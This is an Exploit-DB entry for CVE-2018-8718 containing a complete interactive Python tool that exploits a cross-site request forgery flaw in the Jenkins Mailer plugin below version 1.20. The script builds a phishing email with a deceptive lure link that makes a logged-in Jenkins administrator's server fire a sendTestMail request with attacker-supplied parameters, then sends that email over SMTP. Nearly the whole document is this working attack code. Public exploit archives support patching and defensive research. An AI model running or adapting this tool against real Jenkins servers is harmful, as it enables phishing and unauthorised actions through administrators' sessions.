标题: Jenkins Mailer Plugin < 1.20 - Cross-Site Request Forgery (Send Email) EDB-ID: 44843 CVE: 2018-8718 类型: WEBAPPS 平台: LINUX 发布日期: 2018-06-05 漏洞利用脚本: # Exploit Title : Jenkins mailer plugin < 1.20 - Cross-Site Request Forgery
# Date : 2018-06-05
# Exploit Author : Kl3_GMjq6
# Vendor Homepage : https://jenkins.io/
# Software Link : [https://updates.jenkins.io/download/plugins/mailer/1.20/mailer.hpi]
# Version: [Below Version 1.20 (1.1 ~ 1.20) ]
# Ref: https://jenkins.io/security/advisory/2018-03-26/#SECURITY-774
# Tested on : Linux , Windows
# CVE : CVE-2018-8718

import email.message
import smtplib
import getpass

payload_list = ['url','subject','cover_message','sender','reciver','test_email','smtp_server','l_id','l_pw']
table = {}
for i in payload_list :
    table.update({i:''})
    
def send_mail() :
    msg = email.message.Message()
    msg['Subject'] = table['subject']
    msg['From'] = table['sender']
    msg['To'] = table['reciver']
    msg.add_header('Content-Type','text/html')
    msg.set_payload('<a href="'+table['url']+'\
/descriptorByName/hudson.tasks.Mailer/sendTestMail?\
charset=UTF-8&sendTestMailTo='+table['test_email']+'&adminAddress='+table['reciver']+'\
&smtpPort=465&smtpServer='+table['smtp_server']+'&smtpAuthPasswordSecret='+table['l_pw']+'\
&useSMTPAuth=true&useSsl=true&smtpAuthUserName='+table['l_id']+'">\
'+table['cover_message']+'</a>')
    s = smtplib.SMTP(table['smtp_server'])
    s.starttls()
    s.login(table['l_id'],
            table['l_pw'])
    s.sendmail(msg['From'], [msg['To']], msg.as_string())

def url_set() :
    url = str(input("Jenkins Server's URL(ex : http://vuln.jenkins.com) : "))
    if len(url) <= 0 :
        print ("    Can't Be Null!")
        url_set()
    elif url[0:4] != "http" :
        print ("    URL must start with 'http://' ")
        url_set()
    else : table['url'] = url

def subject_set() :
    subject = str(input ("SUBJECT [Default : Look! Warning with your Jenkins] : "))
    if len(subject) <= 0 :
        subject = "Look! Waning with your Jenkins"
    table['subject'] = subject

def cover_message() :
    cover_message = str(input ("Cover Message [Default : Here is your Vulnable!] : "))
    if len(cover_message) <= 0 :
        cover_message = "Here is your Vulnable!"
    table['cover_message'] = cover_message
    
def sender() :
    sender = str(input ("Attacker E-mail(ex : attacker@abcd.com) : "))
    if len(sender) <= 0 :
        print ("    Can't Be Null!")
        sender()
    else : table['sender'] = sender

def reciver() :
    reciver = str(input ("Admin's E-mail(ex : admin@abcd.com) : "))
    if len(reciver) <= 0 :
        print ("    Can't Be Null!")
        reciver()
    else : table['reciver'] = reciver

def test_email() :
    test_email = str(input ("Tester E-mail(ex : tester@abcd.com) : "))
    if len(test_email) <= 0 :
        print ("    Can't Be Null!")
        test_email()
    table['test_email']  = test_email

def smtp_server() :
    smtp_server = str(input ("SMTP_Server [Default : smtp.gmail.com] : "))
    if len(smtp_server) <= 0 :
        smtp_server = "smtp.gmail.com"
    table['smtp_server'] = smtp_server

def l_id() :
    l_id = str(input ("Your SMTP_Server ID  : "))
    if len(l_id) <= 0 :
        print ("    Can't Be Null!")
        l_id()
    table['l_id'] = l_id

def l_pw() :
    l_pw = str(getpass.getpass("Your SMTP_Server PW : "))
    if len(l_pw) <= 0 :
        print ("    Can't Be Null!")
        l_pw()
    table['l_pw'] = l_pw

def set_all () :
    url_set()
    subject_set()
    cover_message()
    sender()
    reciver()
    test_email()
    smtp_server()
    l_id()
    l_pw()
    print ("Setting Complit! Use 'show' to check options")

set_help = {
    'all':"Set all payload",
    'help':"Show set commend's help",
    'url_set':"Set only 'url_set' payload",
    'subject_set':"Set only 'url_set' payload",
    'cover_message':"Set only 'cover_message' payload",
    'sender':"Set only 'sender' payload",
    'reciver':"Set only 'reciver' payload",
    'test_email':"Set only 'test_email' payload",
    'smtp_server':"Set only 'smtp_server' payload",
    'l_id':"Set only 'l_id' payload",
    'l_pw':"Set only 'l_pw' payload",
    }

def set_select (a) :
    if a=="all" : set_all() 
    elif a=="url_set" : url_set()
    elif a=="subject_set" : subject_set()
    elif a=="cover_message" : cover_message()
    elif a=="sender" : sender()
    elif a=="reciver" : reciver()
    elif a=="test_email" : test_email()
    elif a=="smtp_server" : smtp_server()
    elif a=="l_id" : l_id()
    elif a=="l_pw" : l_pw()
    elif a=="help" :
        for i in set_help :
            print ("    -%-20s %-s" %(i,set_help[i]))
    print ('')



while True :
    direct = str(input ("CVE-2018-8718 >> ")).lower()
    
    if direct == "help" :
        print ("""\
    %-10s Show this help menu.          
    %-10s [-all / -help / -url_set / -subject_set / .... ]
    %-10s Set the Payload
    %-10s [-all] Show Current Setting.
    %-10s Send CSRF use current setting.
    """ %("help","set","","show","send"))
        
    elif direct[0:3] == "set" :
        if ' -' not in direct :
            if direct == "set" :
                set_option = ["help"]
            else :
                print ("    Option error \n")
        else :
            set_option = direct.split(' -')[1:]
        okay = 1

        if len(set_option) == 1 :
            if set_option[0] not in set_help :
                print ("    Option error \n")
            else :
                set_select(set_option[0])
        elif len(set_option) >= 2 :
            for i in set_option :
                if i in ['help', 'all'] :
                    print ("     *Option [-help / -all] cannot be use with another options \n")
                    okay = 0
                    break
            for i in set_option :
                if i not in set_help :
                    print ("    Option error \n")
                    okay = 0
                    break
            if okay == 1 :
                for i in set_option :
                    set_select(i)
                    
    elif direct[:4] == "show" :
        if " -" not in direct :

            if direct == "show" :
                for i in table :
                    if i != "l_pw" :
                        print ("    %-20s %s" %(i,table[i]))
                print ("    If you want to see l_pw... add [-all] option")
                print ("")
            else :
                print ("    Option error \n")
        else :
            show_option = direct.split(" -")[1:]
            if (len(show_option) == 1 and show_option[0] == 'all') :
                for i in table :
                    print ("      %-20s %s" %(i,table[i]))
                print ()
            else :
                print ("    Option error \n")
        
    elif direct == "send" :
        print ("    Sending CSRF Mail.....")
        try :
            send_mail()
            print ("    Succed!!\n")
        except :
            print ("    Fail....")
            
    elif direct == "exit" :
        break
    
    else :
        print ("    Usage : help\n") URL: https://www.exploit-db.com/exploits/44843